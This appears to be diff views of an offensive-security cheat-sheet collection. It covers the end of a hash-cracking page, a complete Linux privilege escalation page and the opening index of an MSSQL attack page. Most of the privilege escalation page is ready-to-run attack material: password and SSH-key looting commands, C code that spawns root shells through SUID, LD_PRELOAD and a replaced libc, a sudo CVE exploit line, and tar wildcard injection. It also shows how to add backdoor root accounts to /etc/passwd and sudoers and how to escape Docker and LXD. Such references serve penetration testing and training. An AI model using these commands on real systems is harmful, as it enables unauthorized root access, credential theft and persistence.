hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d?d?d
hashcat --attack-mode 3 --increment --increment-min 4 --increment-max 8 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?u?l?l?l?d?d?d?d?s"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --custom-charset3 "?d" --hash-type $number $hashes_file "?1?2?2?2?3"
```
| Shortcut | Characters |
|----|----------------------------|
| ?l | abcdefghijklmnopqrstuvwxyz |
| ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| ?d | 0123456789 |
| ?s | !"#$%&'()*+,-./:;<=>?@[\]^_`{}~ |
| ?a | ?l?u?d?s |
| ?b | 0x00 - 0xff |
## John
### John Usage
```bash
# Run on password file containing hashes to be cracked
john passwd
# Use a specific wordlist
john --wordlist=<wordlist> passwd
# Use a specific wordlist with rules
john --wordlist=<wordlist> passwd --rules=Jumbo
# Show cracked passwords
john --show passwd
# Restore interrupted sessions
john --restore
```
## Rainbow tables
> The hash is looked for in a pre-computed table. It is a time-memory trade-off that allows cracking hashes faster, but costing a greater amount of memory than traditional brute-force of dictionary attacks. This attack cannot work if the hashed value is salted (i.e. hashed with an additional random value as prefix/suffix, making the pre-computed table irrelevant)
## Tips and Tricks
* Cloud GPU
* [penglab - Abuse of Google Colab for cracking hashes. 🐧](https://github.com/mxrch/penglab)
* [google-colab-hashcat - Google colab hash cracking](https://github.com/ShutdownRepo/google-colab-hashcat)
* [Cloudtopolis - Zero Infrastructure Password Cracking](https://github.com/JoelGMSec/Cloudtopolis)
* [Nephelees - also a NTDS cracking tool abusing Google Colab](https://github.com/swisskyrepo/Nephelees)
* Build a rig on premise
* [Pentester's Portable Cracking Rig - $1000](https://www.netmux.com/blog/portable-cracking-rig)
* [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig)
* Online cracking
* [Hashes.com](https://hashes.com/en/decrypt/hash)
* [hashmob.net](https://hashmob.net/): great community with Discord
* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file`
* PACK (Password Analysis and Cracking Kit)
* https://github.com/iphelix/pack/blob/master/README
* Can produce custom hcmask files to use with hashcat, based on statistics and rules applied on an input dataset
* Use Deep Learning
* [brannondorsey/PassGAN](https://github.com/brannondorsey/PassGAN)
## Online Cracking Resources
* [hashes.com](https://hashes.com)
* [crackstation](https://crackstation.net)
* [Hashmob](https://hashmob.net/)
## References
* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking)
* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/)
* [miloserdov.org hashcat](https://miloserdov.org/?p=5426&PageSpeed=noscript)
* [miloserdov.org john](https://miloserdov.org/?p=4961&PageSpeed=noscript)
* [DeepPass — Finding Passwords With Deep Learning - Will Schroeder - Jun 1](https://posts.specterops.io/deeppass-finding-passwords-with-deep-learning-4d31c534cd00)

View File

@ -0,0 +1,832 @@
# Linux - Privilege Escalation
## Summary
* [Tools](#tools)
* [Checklist](#checklists)
* [Looting for passwords](#looting-for-passwords)
* [Files containing passwords](#files-containing-passwords)
* [Old passwords in /etc/security/opasswd](#old-passwords-in-etcsecurityopasswd)
* [Last edited files](#last-edited-files)
* [In memory passwords](#in-memory-passwords)
* [Find sensitive files](#find-sensitive-files)
* [SSH Key](#ssh-key)
* [Sensitive files](#sensitive-files)
* [SSH Key Predictable PRNG (Authorized_Keys) Process](#ssh-key-predictable-prng-authorized_keys-process)
* [Scheduled tasks](#scheduled-tasks)
* [Cron jobs](#cron-jobs)
* [Systemd timers](#systemd-timers)
* [SUID](#suid)
* [Find SUID binaries](#find-suid-binaries)
* [Create a SUID binary](#create-a-suid-binary)
* [Capabilities](#capabilities)
* [List capabilities of binaries](#list-capabilities-of-binaries)
* [Edit capabilities](#edit-capabilities)
* [Interesting capabilities](#interesting-capabilities)
* [SUDO](#sudo)
* [NOPASSWD](#nopasswd)
* [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd)
* [Doas](#doas)
* [sudo_inject](#sudo_inject)
* [CVE-2019-14287](#cve-2019-14287)
* [GTFOBins](#gtfobins)
* [Wildcard](#wildcard)
* [Writable files](#writable-files)
* [Writable /etc/passwd](#writable-etcpasswd)
* [Writable /etc/sudoers](#writable-etcsudoers)
* [NFS Root Squashing](#nfs-root-squashing)
* [Shared Library](#shared-library)
* [ldconfig](#ldconfig)
* [RPATH](#rpath)
* [Groups](#groups)
* [Docker](#docker)
* [LXC/LXD](#lxclxd)
* [Hijack TMUX session](#hijack-tmux-session)
* [Kernel Exploits](#kernel-exploits)
* [CVE-2022-0847 (DirtyPipe)](#cve-2022-0847-dirtypipe)
* [CVE-2016-5195 (DirtyCow)](#cve-2016-5195-dirtycow)
* [CVE-2010-3904 (RDS)](#cve-2010-3904-rds)
* [CVE-2010-4258 (Full Nelson)](#cve-2010-4258-full-nelson)
* [CVE-2012-0056 (Mempodipper)](#cve-2012-0056-mempodipper)
## Tools
There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escalation vectors.
Here are a few:
- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
```powershell
wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh
./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete.
./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users
```
- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration)
```powershell
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
./lse.sh -l1 # shows interesting information that should help you to privesc
./lse.sh -l2 # dump all the information it gathers about the system
```
- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
```powershell
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker)
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
- [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER)
## Checklists
* Kernel and distribution release details
* System Information:
* Hostname
* Networking details:
* Current IP
* Default route details
* DNS server information
* User Information:
* Current user details
* Last logged on users
* Shows users logged onto the host
* List all users including uid/gid information
* List root accounts
* Extracts password policies and hash storage method information
* Checks umask value
* Checks if password hashes are stored in /etc/passwd
* Extract full details for 'default' uid's such as 0, 1000, 1001 etc
* Attempt to read restricted files i.e. /etc/shadow
* List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
* Basic SSH checks
* Privileged access:
* Which users have recently used sudo
* Determine if /etc/sudoers is accessible
* Determine if the current user has Sudo access without a password
* Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
* Is root's home directory accessible
* List permissions for /home/
* Environmental:
* Display current $PATH
* Displays env information
* Jobs/Tasks:
* List all cron jobs
* Locate all world-writable cron jobs
* Locate cron jobs owned by other users of the system
* List the active and inactive systemd timers
* Services:
* List network connections (TCP & UDP)
* List running processes
* Lookup and list process binaries and associated permissions
* List inetd.conf/xined.conf contents and associated binary file permissions
* List init.d binary permissions
* Version Information (of the following):
* Sudo
* MYSQL
* Postgres
* Apache
* Checks user config
* Shows enabled modules
* Checks for htpasswd files
* View www directories
* Default/Weak Credentials:
* Checks for default/weak Postgres accounts
* Checks for default/weak MYSQL accounts
* Searches:
* Locate all SUID/GUID files
* Locate all world-writable SUID/GUID files
* Locate all SUID/GUID files owned by root
* Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)
* Locate files with POSIX capabilities
* List all world-writable files
* Find/list all accessible *.plan files and display contents
* Find/list all accessible *.rhosts files and display contents
* Show NFS server details
* Locate *.conf and *.log files containing keyword supplied at script runtime
* List all *.conf files located in /etc
* Locate mail
* Platform/software specific tests:
* Checks to determine if we're in a Docker container
* Checks to see if the host has Docker installed
* Checks to determine if we're in an LXC container
## Looting for passwords
### Files containing passwords
```powershell
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
```
### Old passwords in /etc/security/opasswd
The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.
:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes
### Last edited files
Files that were edited in the last 10 minutes
```powershell
find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
```
### In memory passwords
```powershell
strings /dev/mem -n10 | grep -i PASS
```
### Find sensitive files
```powershell
$ locate password | more
/boot/grub/i386-pc/password.mod
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/etc/pam.d/gdm-password.original
/lib/live/config/0031-root-password
...
```
## SSH Key
### Sensitive files
```
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
...
```
### SSH Key Predictable PRNG (Authorized_Keys) Process
This module describes how to attempt to use an obtained authorized_keys file on a host system.
Needed : SSH-DSS String from authorized_keys file
**Steps**
1. Get the authorized_keys file. An example of this file would look like so:
```
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
```
2. Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`:
```
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config
/etc/init.d/ssh restart
```
3. Get [g0tmi1k's debian-ssh repository](https://github.com/g0tmi1k/debian-ssh) and unpack the keys:
```
git clone https://github.com/g0tmi1k/debian-ssh
cd debian-ssh
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
```
4. Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as:
```
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
```
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
```
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
```
And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why.
## Scheduled tasks
### Cron jobs
Check if you have access with write permission on these files.
Check inside the file, to find other paths with write permissions.
```powershell
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
```
You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job.
```powershell
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000
```
## Systemd timers
```powershell
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service
Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
3 timers listed.
```
## SUID
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is run, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`.
```powershell
╭─swissky@lab ~
╰─$ ls /usr/bin/sudo -alh
-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo
```
### Find SUID binaries
```bash
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
```
### Create a SUID binary
| Function | Description |
|------------|---|
| setreuid() | sets real and effective user IDs of the calling process |
| setuid() | sets the effective user ID of the calling process |
| setgid() | sets the effective group ID of the calling process |
```bash
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bit
```
## Capabilities
### List capabilities of binaries
```powershell
╭─swissky@lab ~
╰─$ /usr/bin/getcap -r /usr/bin
/usr/bin/fping = cap_net_raw+ep
/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin = cap_net_bind_service+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/rsh = cap_net_bind_service+ep
/usr/bin/rcp = cap_net_bind_service+ep
```
### Edit capabilities
```powershell
/usr/bin/setcap -r /bin/ping # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add
```
### Interesting capabilities
Having the capability =ep means the binary has all the capabilities.
```powershell
$ getcap openssl /usr/bin/openssl
openssl=ep
```
Alternatively the following capabilities can be used in order to upgrade your current privileges.
```powershell
cap_dac_read_search # read anything
cap_setuid+ep # setuid
```
Example of privilege escalation with `cap_setuid+ep`
```powershell
$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)
```
| Capabilities name | Description |
|---|---|
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
| CAP_DAC_READ_SEARCH | This only bypasses file and directory read/execute permission checks |
| CAP_FOWNER | This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
| CAP_KILL | Allow the sending of signals to processes belonging to others |
| CAP_SETGID | Allow changing of the GID |
| CAP_SETUID | Allow changing of the UID |
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
| CAP_IPC_LOCK | This helps to lock memory |
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
| CAP_NET_RAW | Use RAW and PACKET sockets |
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
## SUDO
Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
### NOPASSWD
Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
```bash
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
```bash
sudo vim -c '!sh'
sudo -u root vim -c '!sh'
```
### LD_PRELOAD and NOPASSWD
If `LD_PRELOAD` is explicitly defined in the sudoers file
```powershell
Defaults env_keep += LD_PRELOAD
```
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
### Doas
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
```bash
permit nopass demo as root cmd vim
```
### sudo_inject
Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject)
```powershell
$ sudo whatever
[sudo] password for user:
# Press <ctrl>+c since you don't have the password.
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
```
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
### CVE-2019-14287
```powershell
# Exploitable when a user have the following permissions (sudo -l)
(ALL, !root) ALL
# If you have a full TTY, you can exploit it like this
sudo -u#-1 /bin/bash
sudo -u#4294967295 id
```
## GTFOBins
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
> gdb -nx -ex '!sh' -ex quit
> sudo mysql -e '\! /bin/sh'
> strace -o /dev/null /bin/sh
> sudo awk 'BEGIN {system("/bin/sh")}'
## Wildcard
By using tar with checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.
```powershell
# create file for exploitation
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
# vulnerable script
tar cf archive.tar *
```
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
## Writable files
List world writable files on the system.
```powershell
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
```
### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)
/etc/sysconfig/network-scripts/ifcfg-1337 for example
```powershell
NAME=Network /bin/id &lt;= Note the blank space
ONBOOT=yes
DEVICE=eth0
EXEC :
./etc/sysconfig/network-scripts/ifcfg-1337
```
src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
### Writable /etc/passwd
First generate a password with one of the following commands.
```powershell
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Then add the user `hacker` and add the generated password.
```powershell
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
You can now use the `su` command with `hacker:hacker`
Alternatively you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.
```powershell
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
### Writable /etc/sudoers
```powershell
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
# use SUDO without password
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
```
## NFS Root Squashing
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it.
```powershell
# remote check the name of the folder
showmount -e 10.10.10.10
# create dir
mkdir /tmp/nfsdir
# mount directory
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
# copy wanted shell
cp /bin/bash .
# set suid permission
chmod +s bash
```
## Shared Library
### ldconfig
Identify shared libraries with `ldd`
```powershell
$ ldd /opt/binary
linux-vdso.so.1 (0x00007ffe961cd000)
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
```
Create a library in `/tmp` and activate the path.
```powershell
gcc Wall fPIC shared o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
/opt/binary
```
### RPATH
```powershell
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
```powershell
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```powershell
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
## Groups
### Docker
Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`.
```bash
$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
```
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
```powershell
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
```
Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
```powershell
$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete
354c3661655e: Pull complete
91930878a2d7: Pull complete
a3ed95caeb02: Pull complete
489b110c54dc: Pull complete
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
```
More docker privilege escalation using the Docker Socket.
```powershell
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
### LXC/LXD
The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
```powershell
╭─swissky@lab ~
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)
```
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
```powershell
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686
# import the image
lxc image import ./alpine.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
Alternatively https://github.com/initstring/lxd_root
## Hijack TMUX session
Require a read access to the tmux socket : `/tmp/tmux-1000/default`.
```powershell
export TMUX=/tmp/tmux-1000/default,1234,0
tmux ls
```
## Kernel Exploits
Precompiled exploits can be found inside these repositories, run them at your own risk !
* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)
* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/)
The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos`.
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a`
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
### CVE-2022-0847 (DirtyPipe)
Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11
```
https://www.exploit-db.com/exploits/50808
```
### CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
```powershell
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### CVE-2010-3904 (RDS)
Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
```powershell
https://www.exploit-db.com/exploits/15285/
```
### CVE-2010-4258 (Full Nelson)
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
```powershell
https://www.exploit-db.com/exploits/15704/
```
### CVE-2012-0056 (Mempodipper)
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
```powershell
https://www.exploit-db.com/exploits/18411
```
## References
- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/)
- [Privilege escalation via Docker - April 22, 2015 - Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html)
- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/)
- [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
- [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)
- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/)
- [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html)
- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/)
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html)
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
* [SSH Key Predictable PRNG (Authorized_Keys) Process - @weaknetlabs](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Vulnerabilities/SSH/key-exploit.md)
* [The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/)

View File

@ -0,0 +1,676 @@
# MSSQL Server
## Summary
* [Tools](#tools)
* [Identify Instances and Databases](#identifiy-instaces-and-databases)
* [Discover Local SQL Server Instances](#discover-local-sql-server-instances)
* [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances)
* [Discover Remote SQL Server Instances](#discover-remote-sql-instances)
* [Identify Encrypted databases](#identifiy-encrypted-databases)
* [Version Query](#version-query)
* [Identify Sensitive Information](#identify-sensitive-information)
* [Get Tables from a Specific Database](#get-tables-from-specific-databases)
* [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column)
* [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table)
* [Dump common information from server to files](#dump-common-information-from-server-to-files)
* [Linked Database](#linked-database)
* [Find Trusted Link](#find-trusted-link)
* [Execute Query Through The Link](#execute-query-through-the-link)
* [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
* [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
* [Query Version of Linked Database](#query-version-of-linked-database)
* [Execute Procedure on Linked Database](#execute-procedure-on-linked-database)
